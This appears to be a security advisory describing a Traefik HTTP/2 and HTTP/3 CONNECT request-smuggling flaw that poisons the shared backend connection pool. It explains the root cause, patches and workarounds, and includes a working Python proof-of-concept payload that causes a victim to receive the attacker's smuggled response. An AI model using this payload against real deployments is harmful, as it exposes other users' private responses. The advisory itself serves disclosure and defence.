CVE-2026-71324: Traefik HTTP/2 CONNECT Pool Poisoning Cross-User Response Smuggling
Traefik lets an unauthenticated attacker smuggle a raw HTTP request inside an HTTP/2 or HTTP/3 CONNECT body, poisoning the shared backend connection pool so a different user receives the attacker's…

The problem
Traefik's default reverse proxy (httputil.ReverseProxy over a shared net/http.Transport) forwards any HTTP/2 or HTTP/3 CONNECT request, including its body, to an HTTP/1.1 upstream without restriction. The body is written to the backend socket unframed, with no Content-Length and no Transfer-Encoding.
When the upstream returns a keep-alive non-2xx and does not drain the body, it interprets the trailing bytes as a pipelined request. Go's net/http then returns the desynchronized socket to Traefik's shared idle pool once the CONNECT body reaches EOF (H2/H3 half-close).
The next client to reuse that pooled socket reads the pending smuggled response instead of its own, potentially exposing another user's authenticated or private data.
The default sanitizePath: true option is not a reliable defense. It rewrites the target to CONNECT /, which causes Apache and nginx to close the connection, but Go net/http servers and gunicorn/Flask still answer with a keep-alive non-2xx, leaving the pool exploitable.
Proof of concept
A working proof-of-concept for CVE-2026-71324 in github.com/traefik/traefik/v2, with the exact payload below.
# Step 1: Attacker sends H2 CONNECT with a smuggled HTTP/1.1 GET as the body, then half-closes the stream.
# The raw bytes written as the CONNECT body become a pipelined request on the backend socket.
import httpx
SMUGGLED_BODY = (
b"GET /delay/2?tag=ATTACKERSMUGGLED HTTP/1.1\r\n"
b"Host: backend\r\n"
b"X-Smuggled: released-v3.6.23\r\n"
b"\r\n"
)
# Open an HTTP/2 CONNECT tunnel to Traefik (any path; sanitizePath rewrites to CONNECT /)
# httpx with http2=True will half-close (END_STREAM) after sending the body.
client = httpx.Client(http2=True, verify=False)
# Send CONNECT; the body is the smuggled GET above.
# Traefik forwards to backend; backend returns 405 keep-alive;
# net/http pools the socket; smuggled GET is now queued on the backend socket.
resp = client.request(
"CONNECT",
"https://traefik-host:443/",
content=SMUGGLED_BODY,
headers={"Host": "traefik-host"},
)
# Step 2: Victim sends a normal GET on its own connection.
# Traefik reuses the poisoned pooled socket.
# Victim receives the response to ATTACKERSMUGGLED, not its own request.
victim = httpx.Client(http2=True, verify=False)
victim_resp = victim.get("https://traefik-host/get?tag=VICTIMOWN")
print(victim_resp.json()) # body contains tag=ATTACKERSMUGGLED and X-Smuggled headerThe root cause is that net/http writes a CONNECT body unframed (no Content-Length, no Transfer-Encoding: chunked) and pools the backend socket after a keep-alive non-2xx response, once the request body reaches EOF. H2/H3 half-closing the CONNECT stream triggers that EOF while keeping the client connection alive, so the backend socket is pooled with a queued pipelined response still pending on it.
The patch applies three fixes together. PR #13542 defers forwarding the CONNECT body until the backend confirms the tunnel with a 2xx, so a non-2xx path never writes the smuggled bytes. PR #13556 marks CONNECT connections so they are never returned to the shared idle pool.
PR #13543 discards the CONNECT body in the ForwardAuth middleware, which suffered the same issue via forwardBody: true.
This is CWE-444 (Inconsistent Interpretation of HTTP Requests). The backend parses the unframed body as a pipelined request; Traefik's proxy believes the transaction is complete and recycles the socket; the next borrower reads the pending pipelined response as its own.
The fix
Upgrade to Traefik v2.11.53, v3.6.24, or v3.7.9. As a workaround, set maxIdleConnsPerHost: -1 in the ServersTransport to disable backend connection pooling, or route only to backends that close the connection on CONNECT (Apache httpd with default config, nginx).
Disabling HTTP/2 and HTTP/3 on the frontend entrypoint also prevents exploitation since HTTP/1.1 CONNECT bodies cannot reach EOF without closing the connection.
Reported by rtribotte.
Related research
- critical · 9.1CVE-2026-65600CVE-2026-65600: Traefik ReplacePathRegex Authentication Bypass via Path Traversal
- highCVE-2026-54763CVE-2026-54763: Traefik BasicAuth/DigestAuth/ForwardAuth Underscore Header Identity Spoofing
- high · 8.7CVE-2026-50197CVE-2026-50197: Skipper opaAuthorizeRequestWithBody OPA Policy Bypass via Chunked Encoding
- high · 8.2CVE-2026-71327CVE-2026-71327: Traefik Gateway API Route Identity Collision Allows Cross-Namespace Backend Hijacking